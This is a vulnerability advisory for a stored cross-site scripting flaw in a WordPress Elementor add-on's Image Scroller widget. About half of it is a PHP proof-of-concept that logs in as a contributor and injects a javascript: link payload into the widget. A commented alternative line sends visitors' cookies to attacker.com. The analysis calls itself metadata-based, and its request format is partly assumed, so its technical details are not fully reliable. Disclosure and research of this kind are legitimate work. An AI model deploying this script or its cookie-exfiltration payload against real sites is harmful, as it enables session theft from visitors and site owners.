Atomic Edge analysis of CVE-2025-14149 (metadata-based):
This vulnerability is a stored cross-site scripting (XSS) flaw in the Xpro Addons for Elementor WordPress plugin. The vulnerability exists in the Image Scroller widget’s box link attribute. The CWE-79 classification confirms improper neutralization of input during web page generation.
Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping on user-supplied attributes. The plugin likely accepts user input for the widget’s link field without proper validation, then stores and renders it unsafely. This allows JavaScript injection into pages where the widget appears.
Exploitation requires contributor-level WordPress access or higher. Attackers can inject malicious scripts via the Elementor editor interface when configuring the Image Scroller widget. The payload executes when any user views the compromised page. The CVSS vector confirms network accessibility, low attack complexity, and low privilege requirements with no user interaction needed.
The fix in version 1.4.25 likely implements proper output escaping using WordPress functions like esc_url() or esc_attr() for the link attribute. Input validation may also have been added to restrict the field to valid URLs.
Successful exploitation allows attackers to perform actions as the viewing user. This includes stealing session cookies, redirecting users, or modifying page content. The stored nature means the attack persists across sessions until the malicious content is removed.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14149 - Xpro Addons — 140+ Widgets for Elementor <= 1.4.24 - Authenticated (Contributor+) Stored Cross-Site Scripting via Image Scroller Widget box link
<?php
$target_url = 'http://target-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';
// Payload to inject JavaScript via link attribute
$payload = 'javascript:alert(document.cookie)';
// Alternative payload for more complex attacks:
// $payload = 'javascript:fetch("https://attacker.com/steal?c="+encodeURIComponent(document.cookie))';
// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$login_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);
// Step 2: Access Elementor editor (assuming a page ID of 1 exists)
$edit_url = $target_url . '/wp-admin/post.php?post=1&action=elementor';
curl_setopt($ch, CURLOPT_URL, $edit_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// Extract nonce from Elementor editor (pattern-based extraction)
preg_match('/"nonce":"([a-f0-9]+)"/', $response, $matches);
$editor_nonce = $matches[1] ?? '';
// Step 3: Save widget data with malicious link
// This assumes the plugin uses Elementor's standard widget save mechanism
$save_url = $target_url . '/wp-admin/admin-ajax.php';
$save_data = [
'action' => 'elementor_ajax',
'actions' => json_encode([
'action' => 'save_builder',
'data' => [
'elements' => [
[
'id' => uniqid(),
'elType' => 'widget',
'widgetType' => 'xpro-image-scroller',
'settings' => [
'box_link' => [
'url' => $payload,
'is_external' => 'on'
]
]
]
],
'post_id' => 1
],
'_nonce' => $editor_nonce
])
];
curl_setopt($ch, CURLOPT_URL, $save_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($save_data));
$response = curl_exec($ch);
// Check for success
if (strpos($response, 'success') !== false) {
echo "Payload injected successfully. Visit page ID 1 to trigger XSS.n";
echo "Injected payload: $payloadn";
} else {
echo "Injection failed. Response: $responsen";
}
curl_close($ch);
?>
